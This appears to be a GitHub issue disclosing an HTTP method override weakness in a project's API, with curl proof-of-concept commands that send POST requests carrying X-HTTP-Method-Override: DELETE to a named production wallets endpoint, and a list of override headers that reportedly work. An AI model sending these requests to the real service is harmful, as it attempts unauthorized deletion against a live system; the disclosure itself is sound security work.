Skip to content

Bug: HTTP Method Override Works on API #4962

Description

@0xNexar

HTTP Method Override Vulnerability

Summary

API accepts HTTP Method Override headers, allowing bypass of method-based security controls.

Affected System

Proof of Concept

Normal DELETE (blocked):
curl -X DELETE "https://api.dashboard.union.build/rest/v1/wallets" -H "apikey: [KEY]"

Returns: 405 Method Not Allowed

Override DELETE (processed):
curl -X POST "https://api.dashboard.union.build/rest/v1/wallets"
-H "X-HTTP-Method-Override: DELETE"
-H "apikey: [KEY]"

Returns: 400 Bad Request (server processes override)

Impact

  • Bypasses HTTP method-based security controls
  • Could affect dashboard (XP/leaderboard manipulation attempts)
  • Multiple override headers work: X-HTTP-Method-Override, X-Method-Override, _method

Evidence

Response code difference (405 vs 400) proves server processes override methods instead of blocking them.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

A-appArea: app.union.buildC-bugCategory: This is a bug.P-highHigh priority

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions